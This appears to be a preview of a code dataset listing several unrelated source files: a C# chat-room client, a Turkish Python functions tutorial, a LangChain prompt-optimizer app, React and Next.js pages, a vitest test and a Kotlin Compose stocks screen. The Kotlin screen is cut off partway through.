text
stringlengths
184
4.48M
using System; using System.Collections.Generic; using System.ComponentModel; using System.Linq; using System.Text; using System.Text.Json; using System.Threading.Tasks; using ChatRoom.Common; using Microsoft.AspNetCore.Hosting; using Microsoft.Extensions.DependencyInjection; using Microsoft.Extensions.Hosting; using Microsoft.Extensions.Logging; using Serilog; using Spectre.Console; using Spectre.Console.Cli; using Swashbuckle.AspNetCore; namespace ChatRoom.Client; public class ChatRoomClientCommandSettings : CommandSettings { [Description("Configuration file, schema: https://raw.githubusercontent.com/LittleLittleCloud/Agent-ChatRoom/main/schema/client_configuration_schema.json")] [CommandOption("-c|--config <CONFIG>")] public string? ConfigFile { get; init; } = null; [Description("The workspace to store logs and other files. The default value is the current directory.")] [CommandOption("-w|--workspace <WORKSPACE>")] public string Workspace { get; init; } = Environment.CurrentDirectory; } public class ChatRoomClientCommand : AsyncCommand<ChatRoomClientCommandSettings> { public static string Description { get; } = """ A Chatroom cli client. The client will start a chat room service and attach a console client to it. To use the client, you need to provide a configuration file. A configuration file is a json file with the following schema: - https://raw.githubusercontent.com/LittleLittleCloud/Agent-ChatRoom/main/schema/client_configuration_schema.json """; public override async Task<int> ExecuteAsync(CommandContext context, ChatRoomClientCommandSettings command) { var config = command.ConfigFile is not null ? JsonSerializer.Deserialize<ChatRoomClientConfiguration>(File.ReadAllText(command.ConfigFile))! : new ChatRoomClientConfiguration(); var workspace = command.Workspace; if (!Directory.Exists(workspace)) { Directory.CreateDirectory(workspace); } var clientContext = new ClientContext() { CurrentChannel = "General", UserName = config.YourName, CurrentRoom = config.RoomConfig.Room, }; var dateTimeNow = DateTime.Now; var clientLogPath = Path.Combine(workspace, "logs", $"clients-{dateTimeNow:yyyy-MM-dd_HH-mm-ss}.log"); var debugLogTemplate = "[{Timestamp:yyyy-MM-dd HH:mm:ss} {Level:u3}] ({SourceContext}) {Message:lj}{NewLine}{Exception}"; var hostBuilder = Host.CreateDefaultBuilder() .ConfigureLogging(loggingBuilder => { loggingBuilder.ClearProviders(); var serilogLogger = new LoggerConfiguration() .Enrich.FromLogContext() .WriteTo.File(clientLogPath, outputTemplate: debugLogTemplate) #if DEBUG .WriteTo.Console(outputTemplate: debugLogTemplate) #endif .CreateLogger(); loggingBuilder.AddSerilog(serilogLogger); }) .UseOrleans(siloBuilder => { siloBuilder .UseLocalhostClustering(gatewayPort: config.RoomConfig.Port) .AddMemoryGrainStorage("PubSubStore"); }) .ConfigureServices(serviceCollection => { serviceCollection.AddSingleton(config); serviceCollection.AddSingleton(config.RoomConfig); serviceCollection.AddSingleton(config.ChannelConfig); serviceCollection.AddSingleton(command); serviceCollection.AddHostedService<AgentExtensionBootstrapService>(); serviceCollection.AddSingleton(clientContext); serviceCollection.AddSingleton(sp => { var roomObserver = new ConsoleRoomObserver(); var clusterClient = sp.GetRequiredService<IClusterClient>(); var roomObserverRef = clusterClient.CreateObjectReference<IRoomObserver>(roomObserver); return roomObserverRef; }); serviceCollection.AddSingleton<ChatRoomClientController>(); serviceCollection.AddSingleton<ConsoleChatRoomService>(); }); if (config.ServerConfig is ServerConfiguration serverConfig) { hostBuilder.ConfigureWebHostDefaults(builder => { builder .UseEnvironment(serverConfig.Environment) .UseUrls(serverConfig.Urls) .UseStartup<Startup>(); }); } var host = hostBuilder.Build(); await host.StartAsync(); var sp = host.Services; var logger = sp.GetRequiredService<ILogger<ChatRoomClientCommand>>(); logger.LogInformation("Client started."); logger.LogInformation($"Workspace: {workspace}"); logger.LogInformation($"client log is saved to: {Path.Combine(workspace, "logs", clientLogPath)}"); AnsiConsole.MarkupLine("[bold green]Client started.[/]"); var lifetimeManager = sp.GetRequiredService<IHostApplicationLifetime>(); await AnsiConsole.Status() .StartAsync("initializing...", async ctx => { ctx.Spinner(Spinner.Known.Dots); do { await Task.Delay(1000); } while (!lifetimeManager.ApplicationStarted.IsCancellationRequested); }); var consoleChatRoomService = sp.GetRequiredService<ConsoleChatRoomService>(); await consoleChatRoomService.StartAsync(CancellationToken.None); await AnsiConsole.Status() .StartAsync("shutting down...", async ctx => { ctx.Spinner(Spinner.Known.Dots); await host.StopAsync(); await host.WaitForShutdownAsync(); }); return 0; } }
################################### # FONKSİYONLAR , KOŞULLAR , DÖNGÜLER , COMPHERENSİONS #################################### # - Fonksiyonlar (Functions) # - Koşullar (Conditions) # - Döngüler (Loops) # - comprehesions ################################### # FONKSİYONLAR (FUNCTİONS) #################################### # FONKSİYON BELİRLİ GÖREVLERİ YERİNE GETİRMEK İÇİN YAZILAN KOD PARÇALARIDIR ################################### # FONKSİYONLAR (FUNCTİONS) tanımlama #################################### # noinspection PyTypeChecker def calculate(a, b): print(a + b) calculate(3, 5) # iki argümanlı bir fonksiyon oluşturalım def summer(arg1, arg2): print(arg1 + arg2) summer(7, 8) ######################### # Docstring ####################### def summer(arg1, arg2): """ Parameters ---------- arg1 arg2 Returns ------- """ print(arg1 + arg2) ################### # fonksiyonların gövde bölümü #################### def say_hi(): print("merhaba") print("hi") print("hello") say_hi() def say_hi(str): print(str) print("hi") print("hello") say_hi("ömer") say_hi(32) # girilen iki nesneyi tutan ve bu nesneleri bir değerde tutan ve sonra ekrana yazdıran def calculate(x, y): a = x * y print(a) calculate(10, 30) # girilen değerleri bir liste içinde saklayacak bir liste tanımlayalım liste = [] def cach(arg): liste.append(arg) print(liste) cach("ömer") ############################ # ön tanımlı argümanlar ############################### def divide(arg1, arg2): print(arg1 / arg2) divide(30, 10) def divide(arg1, arg2=1): print(arg1 / arg2) divide(10) def say_hi(str="merhaba"): print(str) print("hi") print("hello") say_hi("ömer") say_hi() # bu kısımda ön tanımlı argüman devreye girer ############################## # ne zaman fonksiyon yazmaya ihtiyacımız olur ################################# # varm, moisture, charge # dont repeat your self kendini tekrar eden görevler olduğunda fonksiyon yaz # DRY def calculate(a, b, c): d = (a + b) / c print(d) calculate(98, 12, 78) ############################### # RETURN : Fonksiyon çıktılarını girdi olarak kullanmak ############################## def calculate(varm, moisture, charge): varm = varm * 2 moisture = moisture * 2 charge = charge * 2 output = (varm + moisture) / charge return varm, moisture, charge, output calculate(98, 12, 78) varm, moisture, charge, output = calculate(98, 12, 78) ######################### # Fonksiyon içerisinden onksiyon çağırmak ######################### def calculate(varm, moisture, charge): return int((varm + moisture) / charge) calculate(90, 12, 12) * 10 # bu sayının float olmasını değil de int olmasını istiyorum def standardization(a, p): return a * 10 / 100 * p * p standardization(45, 1) def all_calculation(varm, moisture, charge, p): a = calculate(varm, moisture, charge) b = standardization(a, p) print(b * 10) all_calculation(1, 3, 5, 12)
import os import pickle # os.environ["LANGCHAIN_HANDLER"] = "langchain" # os.environ["LANGCHAIN_SESSION"] = "Test" import numpy as np from sklearn.manifold import TSNE import faiss import openai import pandas as pd import plotly.express as px from clearml import Task from colored import attr, fg from joblib import Memory import streamlit as st from langchain import VectorDBQAWithSourcesChain from langchain.callbacks import ClearMLCallbackHandler, StdOutCallbackHandler from langchain.callbacks.base import CallbackManager from langchain.chains import LLMChain from langchain.chat_models import ChatOpenAI from langchain.embeddings import OpenAIEmbeddings from langchain.llms import OpenAI from langchain.prompts import PromptTemplate location = './cachedir' memory = Memory(location, verbose=0) os.environ["OPENAI_API_KEY"] = "[YOUR_KEY_HERE]" openai.api_key = "[YOUR_KEY_HERE]" # Initialize the ClearML Task task = Task.init( project_name="promptimyzer", task_name="Docs Optimizer", reuse_last_task_id=False, output_uri=True ) def prepare_examples(examples): output = "" for example in examples: output += "====\n" output += f"Prompt: {example['instructions']}\n" output += f"Score: {example['score']}\n" output += f"Comments: {example['comments']}\n\n" output += "====\n" return output class MetaOptimizer: def __init__(self, model_name="gpt-3.5-turbo"): # ClearML Callback # Setup and use the ClearML Callback self.clearml_callback = ClearMLCallbackHandler( task_type="inference", project_name="langchain_callback_demo", task_name="llm", tags=["test"], # Change the following parameters based on the amount of detail you want tracked visualize=True, complexity_metrics=True, stream_logs=True ) manager = CallbackManager([StdOutCallbackHandler(), self.clearml_callback]) # Instructions Generator self.instruction_generator = ChatOpenAI(temperature=0.7, model_name=model_name, callback_manager=manager, verbose=True) self.examples = [ { "instructions": """Given the following extracted parts of a long document and a question, create a final answer with references ("SOURCES"). If you don't know the answer, just say that you don't know. Don't try to make up an answer. ALWAYS return a "SOURCES" part in your answer.""", "score": "4", "comments": "It nicely says it doesn't know when applicable, but one of the answers was very wordy and became a tangent explanation instead of answering the questions." }, { "instructions": "Below is a question from our forum. You have access to the relevant parts of our documentation to answer it. If you don't know the answer, please say so clearly. False information in this context is much worse than no information at all.", "score": "2", "comments": "There were no sources given! It is very important that the bot add sources." }, { "instructions": "Please explain.", "score": "0", "comments": "The bot had no idea what it was doing. It probably needs better context and explanation first." } ] # Documentation with open("faiss_store.pkl", "rb") as f: self.store = pickle.load(f) self.store.index = faiss.read_index("docs.index") # QA Bot self.qa_bot = ChatOpenAI(model_name=model_name, temperature=0.2, callback_manager=manager, verbose=True) # Embedder for visualization self.embed_cached = memory.cache(embed) # self.embed_cached = embed self.iteration = 0 def create_instructions(self): instruction_prompt_template = """ I'm looking for the optimal initial prompt for a documentation QA chatbot. The prompt should instruct the documentation bot on how to best answer the question. Below are examples of prompts as evaluated by a human annotator. Your job is to generate a new unique instruction prompt that you think will be evaluated better than the example prompts. In this case better means a higher score. You're essentially interpolating in embeddingspace in search of the optimal prompt. I want you to create an embeddingspace of the examples and create something that is closer to better prompts and further away from bad performing ones. Only answer with the exact prompt you generated, no extra text is to be added. Examples prompts, each with their score and some comments explaining that score: {examples} Optimal Prompt: """ instruction_prompt = PromptTemplate( input_variables=["examples"], template=instruction_prompt_template, ) instruction_chain = LLMChain(llm=self.instruction_generator, prompt=instruction_prompt) instructions = instruction_chain.run(examples=prepare_examples(self.examples)) self.iteration += 1 self.clearml_callback.flush_tracker(langchain_asset=instruction_chain, name="instruction_chain") return instructions def docs_qa(self): # Get the original chainlang prompt and add our own instructions combine_prompt_template = """{instructions} Examples QUESTION: Which state/country's law governs the interpretation of the contract? ========= Content: This Agreement is governed by English law and the parties submit to the exclusive jurisdiction of the English courts in relation to any dispute (contractual or non-contractual) concerning this Agreement save that either party may apply to any court for an injunction or other relief to protect its Intellectual Property Rights. Source: 28-pl Content: No Waiver. Failure or delay in exercising any right or remedy under this Agreement shall not constitute a waiver of such (or any other) right or remedy.\n\n11.7 Severability. The invalidity, illegality or unenforceability of any term (or part of a term) of this Agreement shall not affect the continuation in force of the remainder of the term (if any) and this Agreement.\n\n11.8 No Agency. Except as expressly stated otherwise, nothing in this Agreement shall create an agency, partnership or joint venture of any kind between the parties.\n\n11.9 No Third-Party Beneficiaries. Source: 30-pl Content: (b) if Google believes, in good faith, that the Distributor has violated or caused Google to violate any Anti-Bribery Laws (as defined in Clause 8.5) or that such a violation is reasonably likely to occur, Source: 4-pl ========= FINAL ANSWER: This Agreement is governed by English law. SOURCES: 28-pl QUESTION: What did the president say about Michael Jackson? ========= Content: Madam Speaker, Madam Vice President, our First Lady and Second Gentleman. Members of Congress and the Cabinet. Justices of the Supreme Court. My fellow Americans. \n\nLast year COVID-19 kept us apart. This year we are finally together again. \n\nTonight, we meet as Democrats Republicans and Independents. But most importantly as Americans. \n\nWith a duty to one another to the American people to the Constitution. \n\nAnd with an unwavering resolve that freedom will always triumph over tyranny. \n\nSix days ago, Russia's Vladimir Putin sought to shake the foundations of the free world thinking he could make it bend to his menacing ways. But he badly miscalculated. \n\nHe thought he could roll into Ukraine and the world would roll over. Instead he met a wall of strength he never imagined. \n\nHe met the Ukrainian people. \n\nFrom President Zelenskyy to every Ukrainian, their fearlessness, their courage, their determination, inspires the world. \n\nGroups of citizens blocking tanks with their bodies. Everyone from students to retirees teachers turned soldiers defending their homeland. Source: 0-pl Content: And we won't stop. \n\nWe have lost so much to COVID-19. Time with one another. And worst of all, so much loss of life. \n\nLet's use this moment to reset. Let's stop looking at COVID-19 as a partisan dividing line and see it for what it is: A God-awful disease. \n\nLet's stop seeing each other as enemies, and start seeing each other for who we really are: Fellow Americans. \n\nWe can't change how divided we've been. But we can change how we move forward—on COVID-19 and other issues we must face together. \n\nI recently visited the New York City Police Department days after the funerals of Officer Wilbert Mora and his partner, Officer Jason Rivera. \n\nThey were responding to a 9-1-1 call when a man shot and killed them with a stolen gun. \n\nOfficer Mora was 27 years old. \n\nOfficer Rivera was 22. \n\nBoth Dominican Americans who'd grown up on the same streets they later chose to patrol as police officers. \n\nI spoke with their families and told them that we are forever in debt for their sacrifice, and we will carry on their mission to restore the trust and safety every community deserves. Source: 24-pl Content: And a proud Ukrainian people, who have known 30 years of independence, have repeatedly shown that they will not tolerate anyone who tries to take their country backwards. \n\nTo all Americans, I will be honest with you, as I've always promised. A Russian dictator, invading a foreign country, has costs around the world. \n\nAnd I'm taking robust action to make sure the pain of our sanctions is targeted at Russia's economy. And I will use every tool at our disposal to protect American businesses and consumers. \n\nTonight, I can announce that the United States has worked with 30 other countries to release 60 Million barrels of oil from reserves around the world. \n\nAmerica will lead that effort, releasing 30 Million barrels from our own Strategic Petroleum Reserve. And we stand ready to do more if necessary, unified with our allies. \n\nThese steps will help blunt gas prices here at home. And I know the news about what's happening can seem alarming. \n\nBut I want you to know that we are going to be okay. Source: 5-pl Content: More support for patients and families. \n\nTo get there, I call on Congress to fund ARPA-H, the Advanced Research Projects Agency for Health. \n\nIt's based on DARPA—the Defense Department project that led to the Internet, GPS, and so much more. \n\nARPA-H will have a singular purpose—to drive breakthroughs in cancer, Alzheimer's, diabetes, and more. \n\nA unity agenda for the nation. \n\nWe can do this. \n\nMy fellow Americans—tonight , we have gathered in a sacred space—the citadel of our democracy. \n\nIn this Capitol, generation after generation, Americans have debated great questions amid great strife, and have done great things. \n\nWe have fought for freedom, expanded liberty, defeated totalitarianism and terror. \n\nAnd built the strongest, freest, and most prosperous nation the world has ever known. \n\nNow is the hour. \n\nOur moment of responsibility. \n\nOur test of resolve and conscience, of history itself. \n\nIt is in this moment that our character is formed. Our purpose is found. Our future is forged. \n\nWell I know this nation. Source: 34-pl ========= FINAL ANSWER: The president did not mention Michael Jackson. SOURCES: N/A QUESTION: {question} ========= {summaries} ========= FINAL ANSWER:""" combine_prompt = PromptTemplate( template=combine_prompt_template, input_variables=["summaries", "question", "instructions"] ) qa_chain = VectorDBQAWithSourcesChain.from_llm(llm=self.qa_bot, vectorstore=self.store, combine_prompt=combine_prompt) return qa_chain def save(self): with open("prompt_history.pkl", "wb") as f: pickle.dump(self.examples, f) print("Saved prompts!") def load(self): if os.path.isfile("prompt_history.pkl"): with open("prompt_history.pkl", "rb") as f: self.examples = pickle.load(f) print("Loaded previous prompts!") def plot_embeddings(self, instructions): df = pd.DataFrame(self.examples) df = df.append( { 'instructions': instructions, 'score': '-1', 'comments': 'New Sample' }, ignore_index=True ) print(df) df['embedding'] = df['instructions'].apply(self.embed_cached) # Create a t-SNE model and transform the data tsne = TSNE(n_components=3, perplexity=2, random_state=42, init='random', learning_rate=200) vis_dims = pd.DataFrame(tsne.fit_transform(np.array(df['embedding'].to_list()))) vis_dims['score'] = df['score'].astype(int) fig = px.scatter_3d(vis_dims, x=0, y=1, z=2, color='score') Task.current_task().get_logger().report_plotly( title="Embedding Space", series="Instructions", iteration=self.iteration, figure=fig ) def render_questions(qa_chain, questions, instructions): for i, question in enumerate(questions): st.subheader(f"Q{i}") reply = qa_chain({"question": question, "instructions": instructions}) st.text_area(label="Question", value=reply["question"], disabled=True) st.text_area(label="Answer", value=f'{reply["answer"]}\n\nSOURCES: {reply["sources"]}', disabled=True) def embed(text): embedder = OpenAIEmbeddings() return embedder.embed_query(text) def main(meta_optimizer): # Capture the previous instructions and feedback (or skip if this is first run) if st.session_state.instructions: meta_optimizer.examples.append( { "instructions": st.session_state.instructions, "score": st.session_state.score, "comments": st.session_state.feedback } ) # Given the examples, generate a new instruction prompt instructions = meta_optimizer.create_instructions() # st_instructions.text_area(label="Instructions Prompt", value=instructions, disabled=True, key="instructions") st.session_state.instructions = instructions # Plot the new instructions in embedding space together with the # previous ones, so we can visually follow along! meta_optimizer.plot_embeddings(instructions=instructions) # Given the generated new prompt from above, create a QA bot # based on our own documentation. qa_chain = meta_optimizer.docs_qa() # Inference over each question and write the answer to the streamlit app for i, question in enumerate(questions): reply = qa_chain({"question": question, "instructions": instructions}) st.session_state[f'A{i}'] = f"{reply['answer']}\n\nSOURCES: {reply['sources']}" # Capture this run in clearml meta_optimizer.clearml_callback.flush_tracker(langchain_asset=qa_chain, name="qa_chain") if __name__ == "__main__": # Create the metaoptimizer, load saved prompt history and format # those into instructions for GPT meta_optimizer = MetaOptimizer() meta_optimizer.load() # Testing examples questions = [ "How do I create ClearML credentials?", "How does clearml ochestration and scheduling work?", "Can you clone an entire ClearML Project?", "How do I go to the built-in ClearML Serving dashboard?", "Where can I find the datalake in ClearML?", "What do each of the databases in the ClearML server do?" ] # Streamlit st.title('🎉 promptimyzer') st_instructions = st.text_area(label="Instructions Prompt", disabled=True, key="instructions") # Get the text areas ready for i, question in enumerate(questions): st.subheader(f"Q{i}") st.text_area(label="Question", value=question, disabled=True, key=f"Q{i}") st.text_area(label="Answer", disabled=True, key=f"A{i}") st.subheader("Feedback") st.number_input("Score", key="score") st.text_area(label="General feedback to improve the initial prompt", key="feedback") print("End here!") # Add the button every time st.button(label="Submit", key="submit_feedback", on_click=main, args=(meta_optimizer,)) # instructions = meta_optimizer.create_instructions() # meta_optimizer.save() # meta_optimizer.clearml_callback.flush_tracker(langchain_asset=qa_chain, name="qa_chain")
import "./Search.css"; import Header from "../../components/Header/Header.jsx"; import Footer from "../../components/Footer/Footer"; import { useState, useEffect } from "react"; import PopUpModal from '../../components/PopUpModal/PopUpModal'; import ParkList from "../../components/ParkList/ParkList"; import { useUser } from '../../UserContext'; function Search() { const [parks, setParks] = useState([]); const [error, setError] = useState(""); const [query, setQuery] = useState(""); const [start, setStart] = useState(0); const [searchType, setSearchType] = useState("parkname"); const [allParkCodes, setAllParkCodes] = useState([]); const [currentParkIndex, setCurrentParkIndex] = useState(0); const { currentUser, setCurrentUser } = useUser(); const [userFavorites, setUserFavorites] = useState([]); const [modalIsOpen, setIsOpen] = useState(false); const [modalPark, setModalPark] = useState([]); const [displayParks, setDisplayParks] = useState([]); const handleKeyPress = (e) => { if (e.key === 'Enter') { performSearch(searchType, query, 0); } }; function openModal() { setIsOpen(true); } function closeModal() { setIsOpen(false); } const handleShowPark = (park) => { setModalPark(park); openModal(); }; const handleClick = (e) => { console.log("Clicked", e.target); const searchType = e.target.getAttribute('data-type'); const query = e.target.getAttribute('data-query'); setQuery(query); setSearchType(searchType); closeModal() performSearch(searchType, query, 0); }; const performSearch = (searchType, query, start) => { fetch("/api/search/search-parks", { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify({ query: query, searchType: searchType, startPosition: start, }), }) .then((response) => response.json()) .then((response) => { if (response?.data) { const updatedParks = start === 0 ? response.data : [...parks, ...response.data]; setParks(updatedParks); setStart(start); } }); } useEffect(() => { const fetchUserFavorites = async () => { try{ const response = await fetch(`/api/search/get-user-favorites?username=${currentUser}`, { method: 'GET', credentials: 'include', headers: { 'Content-Type': 'application/json' }, }); const favorites = await response.json(); setUserFavorites(favorites ); } catch (error) { console.error('Failed to fetch user favorites', error); } }; fetchUserFavorites(); }, [currentUser]); useEffect(() => { const updatedParks = parks.map(park => ({ ...park, isFavorite: userFavorites.includes(park.parkCode), })); setDisplayParks(updatedParks); }, [parks, userFavorites]); return ( <div className="page-container" data-testid="Search"> <Header/> <br></br> <br></br> <br></br> <br></br> <div className="search-container"> <div className="option-container"> <label htmlFor="searchType">Search By:</label> <label> <input type="radio" id="parkName" name="searchType" value="parkname" checked={searchType === "parkname"} onChange={(e) => setSearchType(e.target.value)} /> Park Name </label> <label> <input type="radio" id="amenity" name="searchType" value="amenities" checked={searchType === "amenities"} onChange={(e) => setSearchType(e.target.value)} /> Amenity </label> <label> <input type="radio" id="state" name="searchType" value="states" checked={searchType === "states"} onChange={(e) => setSearchType(e.target.value)} /> State </label> <label> <input type="radio" id="activity" name="searchType" value="activities" checked={searchType === "activities"} onChange={(e) => setSearchType(e.target.value)} /> Activity </label> </div> <input style={{textAlign: "center"}} id="searchInput" className="search" type="text" placeholder={`Search national park by ${searchType}...`} value={query} onChange={(e) => setQuery(e.target.value)} onKeyPress={handleKeyPress} /> <button onClick={() => performSearch(searchType, query, 0) } > Search </button> </div> <div className="search-results"> <ParkList parks={displayParks} onSetShowPark = { handleShowPark} currentUser={currentUser} setUserFavorites={setUserFavorites} userFavorites={userFavorites}/> </div> {modalIsOpen && modalPark && ( <PopUpModal currentUser={currentUser} modalIsOpen={modalIsOpen} closeModal={closeModal} park={modalPark} handleClick={handleClick} setUserFavorites={setUserFavorites} userFavorites={userFavorites} /> )} {parks && parks.length > 0 && ( <button id="load-more-button" className="show-more-button" onClick={() => { const newStart = start + 10; performSearch(searchType, query, newStart); }} > Show 10 more results </button> )} <Footer/> </div> ); } export default Search;
"use client"; import { useAppSelector } from "@/hooks"; import "./style.scss"; import { Checkout, Footer, Header, Carousel } from "@/components"; import { useGetProductByIdQuery } from "@/reducers"; import { Rating } from "react-simple-star-rating"; import { useEffect, useMemo, useState } from "react"; import { getArrayByNumber } from "@/utils/getArrayByNumber"; import { useRouter } from "next/navigation"; const Product = ({ params }: { params: { id: string } }) => { const product = useAppSelector((store) => store.product); const { push } = useRouter(); // const { data, error, isLoading } = useGetProductByIdQuery(params.id); if (!product) { push("/"); } const data = useMemo( () => product.find((item) => String(item.id) === params.id), [product, params.id] ); const [quantity, setQuantity] = useState(1); console.log(quantity); const totalPrice = data ? ((data.discountPercentage / 100) * data.price + data.price).toFixed(2) : null; console.log(data); return ( <main className="product"> <Header /> <Checkout /> <section className="content"> {/* {isLoading ? <h1>Loading</h1> : null} */} {data === undefined ? <h1> Producto inexistente </h1> : null} {data ? ( <div className="product-details"> <div className="images"> <Carousel images={data.images} /> </div> <div className="details"> <div> <h1>{data.title}</h1> <div className="rating "> <p>{data.rating} </p> <Rating allowFraction readonly initialValue={data.rating} /> </div> <p>{data.brand}</p> <div className="price"> {data.discountPercentage && ( <span className="discount"> -{data.discountPercentage}% </span> )} <span className="actual-price">${data.price}</span> </div> <p className="total-price"> de : <del>${totalPrice}</del>{" "} </p> <p>{data.description}</p> </div> <div> <div> <h2>choose:</h2> <label htmlFor="quantity">Quantity:</label> <select onChange={(event: React.ChangeEvent<HTMLSelectElement>) => setQuantity(Number(event.target.value)) } id="quantity" value={quantity} > {getArrayByNumber(data.stock).map((option) => ( <option key={option} value={option}> {option} </option> ))} </select> <button>Add to Cart</button> </div> </div> </div> </div> ) : null} </section> <Footer /> </main> ); }; export default Product;
/** * @vitest-environment happy-dom */ import { beforeEach, describe, it, expect, beforeAll } from "vitest"; import { renderWebComponent } from "./webComponentRenderer"; import PaltaNoteDefaults from "palta-note"; describe("webComponentRenderer", () => { beforeAll(() => { const { PaltaNote } = PaltaNoteDefaults; customElements.define("palta-note", PaltaNote); }) beforeEach(() => { window.document.body.innerHTML = ""; }); it("should render a web component", () => { const paltaCodeBlock = { frontMatter: {}, matras: "Dha", }; renderWebComponent(paltaCodeBlock, window.document.body); expect(window.document.body.innerHTML).toContain("palta-note"); }); it("should render front matter as attributes", () => { const paltaCodeBlock = { frontMatter: { vibhags: "X 2 0 3", }, matras: "Dha", }; renderWebComponent(paltaCodeBlock, window.document.body); const paltaNote = window.document.body.querySelector("palta-note"); expect(paltaNote?.getAttribute("vibhags")).toBe("X 2 0 3"); }); it("should render matras as inner text", () => { const paltaCodeBlock = { frontMatter: {}, matras: "Dha Dhin Dhin Dha", }; renderWebComponent(paltaCodeBlock, window.document.body); const paltaNote = window.document.body.querySelector("palta-note"); expect(paltaNote?.innerHTML).toEqual("Dha Dhin Dhin Dha"); }); });
package com.raion.coinvest.presentation.screen.stocksSection import android.annotation.SuppressLint import android.util.Log import androidx.compose.foundation.clickable import androidx.compose.foundation.interaction.MutableInteractionSource import androidx.compose.foundation.isSystemInDarkTheme import androidx.compose.foundation.layout.Arrangement import androidx.compose.foundation.layout.Box import androidx.compose.foundation.layout.Column import androidx.compose.foundation.layout.Row import androidx.compose.foundation.layout.Spacer import androidx.compose.foundation.layout.fillMaxHeight import androidx.compose.foundation.layout.fillMaxSize import androidx.compose.foundation.layout.fillMaxWidth import androidx.compose.foundation.layout.height import androidx.compose.foundation.layout.padding import androidx.compose.foundation.layout.size import androidx.compose.foundation.layout.width import androidx.compose.foundation.lazy.LazyColumn import androidx.compose.foundation.lazy.LazyRow import androidx.compose.foundation.lazy.items import androidx.compose.material.icons.Icons import androidx.compose.material.icons.rounded.Apartment import androidx.compose.material3.Card import androidx.compose.material3.CardDefaults import androidx.compose.material3.Icon import androidx.compose.material3.MaterialTheme import androidx.compose.material3.Scaffold import androidx.compose.material3.Text import androidx.compose.runtime.Composable import androidx.compose.runtime.mutableStateOf import androidx.compose.runtime.remember import androidx.compose.ui.Alignment import androidx.compose.ui.Modifier import androidx.compose.ui.graphics.Color import androidx.compose.ui.graphics.RectangleShape import androidx.compose.ui.layout.ContentScale import androidx.compose.ui.platform.LocalContext import androidx.compose.ui.text.font.FontWeight import androidx.compose.ui.unit.dp import androidx.compose.ui.unit.sp import coil.compose.AsyncImage import coil.decode.SvgDecoder import coil.request.ImageRequest import com.raion.coinvest.data.remote.api.model.Data import com.raion.coinvest.data.remote.api.model.GetTrendingSearchList import com.raion.coinvest.data.remote.api.model.GetTrendingStocks import com.raion.coinvest.presentation.designSystem.CoinvestBase import com.raion.coinvest.presentation.designSystem.CoinvestBlack import com.raion.coinvest.presentation.designSystem.CoinvestDarkPurple import com.raion.coinvest.presentation.designSystem.CoinvestLightGrey import com.raion.coinvest.presentation.widget.appsBottomBar.AppsBottomBar @SuppressLint("UnusedMaterial3ScaffoldPaddingParameter") @Composable //@Preview fun StocksScreen( viewModel: StocksViewModel, onChangeTab: (Int) -> Unit, onTapStocks: (Pair<GetTrendingSearchList, String>) -> Unit ){ val currentTab = remember { mutableStateOf(0) } val cryptoResult = remember { mutableStateOf(GetTrendingSearchList(coins = listOf())) } val stockResult = remember { mutableStateOf(GetTrendingStocks("","", Data(listOf()))) } viewModel.getTrendingSearchList { cryptoResult.value = it } viewModel.getTrendingStocks { stockResult.value = it } Log.d("stock", stockResult.value.toString()) Scaffold( topBar = { Card( shape = RectangleShape, colors = CardDefaults.cardColors(if(isSystemInDarkTheme()){ MaterialTheme.colorScheme.background } else { CoinvestBase }) ) { Column( modifier = Modifier.padding(top = 16.dp, start = 16.dp, end = 16.dp), horizontalAlignment = Alignment.CenterHorizontally, verticalArrangement = Arrangement.Center ){ Row( modifier = Modifier .fillMaxWidth() .height(60.dp), horizontalArrangement = Arrangement.Center, verticalAlignment = Alignment.CenterVertically ){ Text(text = "Stocks Update", fontSize = 16.sp, fontWeight = FontWeight.Bold, color = if(isSystemInDarkTheme()){ CoinvestBase } else { CoinvestBlack }) } Spacer(modifier = Modifier.height(8.dp)) StocksTabRow(){ currentTab.value = it } } } }, content = { LazyColumn(modifier = Modifier .fillMaxSize() .padding(16.dp), horizontalAlignment = Alignment.CenterHorizontally ){ if(currentTab.value == 0){ item { Spacer(modifier = Modifier.padding(60.dp)) } item{ Card(modifier = Modifier .fillMaxWidth(0.9f) .height(150.dp), colors = CardDefaults.cardColors(if(isSystemInDarkTheme()){ CoinvestBlack } else { CoinvestLightGrey }), elevation = CardDefaults.cardElevation(8.dp) ) { LazyRow(modifier = Modifier.fillMaxSize()){ items(items = cryptoResult.value.coins.sortedBy { it.item.name }, key = { it.item.id }){ StocksChartCard(it.item) } } } } item { Spacer(modifier = Modifier.padding(8.dp)) Row(modifier = Modifier.fillMaxWidth()) { Text(text = "Chart Crypto", fontSize = 16.sp, fontWeight = FontWeight.SemiBold) } } items(items = cryptoResult.value.coins.sortedBy { it.item.marketCapRank }, key = { it.item.id }){ if(it.item.name != "Pepe"){ Spacer(modifier = Modifier.padding(8.dp)) Row(modifier = Modifier .fillMaxWidth() .clickable( indication = null, interactionSource = remember { MutableInteractionSource() } ) { onTapStocks(Pair(cryptoResult.value, it.item.id)) }, horizontalArrangement = Arrangement.SpaceBetween, verticalAlignment = Alignment.CenterVertically ) { Row(modifier = Modifier.fillMaxHeight(), verticalAlignment = Alignment.CenterVertically) { Card(modifier = Modifier.size(50.dp)) { AsyncImage(model = it.item.thumb, contentDescription = "thumbnail", modifier = Modifier.fillMaxSize(), contentScale = ContentScale.Crop) } Spacer(modifier = Modifier.padding(8.dp)) Column(modifier = Modifier.fillMaxHeight(), verticalArrangement = Arrangement.Center) { Text(text = it.item.symbol, fontSize = 16.sp, fontWeight = FontWeight.SemiBold) Text(text = it.item.data.priceChangePercentage24h["usd"].toString().substring(0,4)+"%", color = if(it.item.data.priceChangePercentage24h["usd"] ?: 0.0 >= 0){ if(isSystemInDarkTheme()){ Color.Green } else { Color(0xFF056927) } } else { Color(0xFFF00500) }) } } Card(modifier = Modifier .width(120.dp) .height(40.dp), colors = CardDefaults.cardColors(Color.Transparent) ) { AsyncImage( model = ImageRequest.Builder(LocalContext.current) .data(it.item.data.sparkline) .decoderFactory(SvgDecoder.Factory()) .build(), contentDescription = "sparkline", modifier = Modifier.fillMaxSize() ) } Row(modifier = Modifier.fillMaxHeight()) { Column(modifier = Modifier.fillMaxHeight(), verticalArrangement = Arrangement.Center, horizontalAlignment = Alignment.End) { Text(text = it.item.data.price, fontSize = 16.sp) Text(text = it.item.data.marketCap, fontSize = 10.sp) } } } } } } else { item { Spacer(modifier = Modifier.padding(50.dp)) } items(items = stockResult.value.data.results.sortedByDescending { stock -> stock.percent }, key = { it.symbol }){ Spacer(modifier = Modifier.padding(8.dp)) 